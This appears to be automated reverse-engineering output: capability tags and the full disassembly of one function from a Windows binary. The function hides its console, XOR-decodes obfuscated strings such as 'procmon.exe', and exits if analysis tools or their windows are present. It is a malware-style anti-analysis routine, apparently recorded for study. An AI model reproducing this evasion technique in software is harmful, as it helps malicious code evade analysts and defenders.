Function at 0x14000dd70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movdqa xmm0, xmmword [0x14008eba0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x100716b
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x12
jb 0x14000ddc0
mov byte [rbp - 0x3d], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000de40
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000de3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000de3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
movdqa xmm0, xmmword [0x14008eb90]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x100716b
mov rcx, rbx
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x12
jb 0x14000de60
mov byte [rbp - 0x3d], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000dee1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dedc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dedc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
movdqa xmm0, xmmword [0x14008eb50]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x706c76
mov byte [rbp - 0x3c], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x13
jb 0x14000df10
mov byte [rbp - 0x3c], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000df91
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000df8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
movdqa xmm0, xmmword [0x14008ebc0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x6e703a64
mov word [rbp - 0x3c], WSAStartup
mov byte [rbp - 0x3a], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x15
jb 0x14000dfc0
mov byte [rbp - 0x3a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e041
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e03c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e03c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
movdqa xmm0, xmmword [0x14008eb80]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x76
mov byte [rbp - 0x3e], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x11
jb 0x14000e070
mov byte [rbp - 0x3e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e0f1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e0ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e0ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
mov dword [rbp - 0x50], 0x656a7673
mov dword [rbp - 0x4c], 0x2467676a
mov dword [rbp - 0x48], 0x68746e
mov byte [rbp - 0x44], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xb
jb 0x14000e120
mov byte [rbp - 0x44], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, recv
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e1a1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e19c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e19c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
mov dword [rbp - 0x50], 0x7764606a
mov dword [rbp - 0x4c], 0x6f716d29
mov word [rbp - 0x48], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 8
jb 0x14000e1d0
mov byte [rbp - 0x47], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 8
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e251
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e24c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e24c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
mov dword [rbp - 0x50], 0x7764606a
mov dword [rbp - 0x4c], 0x6f273c31
mov dword [rbp - 0x48], 0x1006973
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xa
jb 0x14000e280
mov byte [rbp - 0x45], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0xa
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e301
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e2fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e2fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
mov dword [rbp - 0x50], 0x63776d54
mov dword [rbp - 0x4c], 0x78686074
mov dword [rbp - 0x48], 0x76682260
mov word [rbp - 0x44], WSAGetLastError
mov byte [rbp - 0x42], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xd
jb 0x14000e330
mov byte [rbp - 0x42], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_listen
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e3b1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e3ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e3ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
mov dword [rbp - 0x50], 0x62616d45
mov dword [rbp - 0x4c], 0x247b6d6b
mov dword [rbp - 0x48], 0x68746e
mov byte [rbp - 0x44], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xb
jb 0x14000e3e0
mov byte [rbp - 0x44], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, recv
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e461
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e45c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e45c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
mov dword [rbp - 0x50], 0x696b615b
mov dword [rbp - 0x4c], 0x243d3e74
mov dword [rbp - 0x48], 0x68746e
mov byte [rbp - 0x44], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xb
jb 0x14000e490
mov byte [rbp - 0x44], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, recv
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e511
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e50c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e50c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
movdqa xmm0, xmmword [0x14008ebb0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x100
mov rcx, rbx
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x10
jb 0x14000e530
mov byte [rbp - 0x3f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e5b1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e5ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e5ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
movdqa xmm0, xmmword [0x14008ebd0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [str.pzad8J]
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x4f470411
mov dword [rbp - 0x2c], 0x4f070153
mov dword [rbp - 0x28], 0x1004953
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x2a
jb 0x14000e5f0
mov byte [rbp - 0x25], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, Ordinal_46
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e671
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e66c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e66c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
mov dword [rbp - 0x50], 0x73417748
mov dword [rbp - 0x4c], 0x786c786a
mov dword [rbp - 0x48], 0x6b756925
mov word [rbp - 0x44], 0x100
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xc
jb 0x14000e6a0
mov byte [rbp - 0x43], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, recv
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e721
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e71c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e71c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
mov dword [rbp - 0x50], 0x6231327b
mov dword [rbp - 0x4c], 0x6f276f65
mov dword [rbp - 0x48], 0x1006973
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xa
jb 0x14000e750
mov byte [rbp - 0x45], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0xa
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e7d1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e7cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e7cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
movdqa xmm0, xmmword [0x14008eb80]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x76
mov byte [rbp - 0x3e], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x11
jb 0x14000e800
mov byte [rbp - 0x3e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.1400051d0
nop
lea rcx, [rbp - 0x20]
call fcn.14000d920
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000e881
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e87c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e87c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b20c
test rdi, rdi
jne 0x14000ea35
movdqa xmm0, xmmword [0x14008eb70]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x100
mov rcx, rbx
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x10
jb 0x14000e8a0
mov byte [rbp - 0x3f], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14000ea35
mov dword [rbp - 0x50], 0x6968614e
mov dword [rbp - 0x4c], 0x5c297175
mov dword [rbp - 0x48], 0x6b7a6962
mov word [rbp - 0x44], 0x7d
mov byte [rbp - 0x42], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xd
jb 0x14000e8f0
mov byte [rbp - 0x42], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14000ea35
mov dword [rbp - 0x50], 0x656a7653
mov dword [rbp - 0x4c], 0x2a7a7b62
mov dword [rbp - 0x48], 0x7a7e6547
mov word [rbp - 0x44], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xc
jb 0x14000e940
mov byte [rbp - 0x43], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14000ea35
mov dword [rbp - 0x50], 0x73417748
mov dword [rbp - 0x4c], 0x786c786a
mov word [rbp - 0x48], 0x100
mov rcx, rbx
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 8
jb 0x14000e980
mov byte [rbp - 0x47], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14000ea35
mov dword [rbp - 0x50], 0x5651504b
mov dword [rbp - 0x4c], 0x686c4c27
mov dword [rbp - 0x48], 0x6b6a6b7e
mov word [rbp - 0x44], 0x7d
mov byte [rbp - 0x42], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 3]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xd
jb 0x14000e9d0
mov byte [rbp - 0x42], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14000ea35
mov dword [rbp - 0x50], 0x7f69684c
mov dword [rbp - 0x4c], 0x6e6a43
mov byte [rbp - 0x48], 1
nop word [rax + rax]
lea eax, [rbx + 3]
xor byte [rbp + rbx - 0x50], al
inc rbx
cmp rbx, 7
jb 0x14000ea10
mov byte [rbp - 0x48], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14000ea3a
call fcn.14000a1e0
mov qword [rbp + 0x10], 0x7d0
lea rcx, [rbp + 0x10]
call fcn.140015dd0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret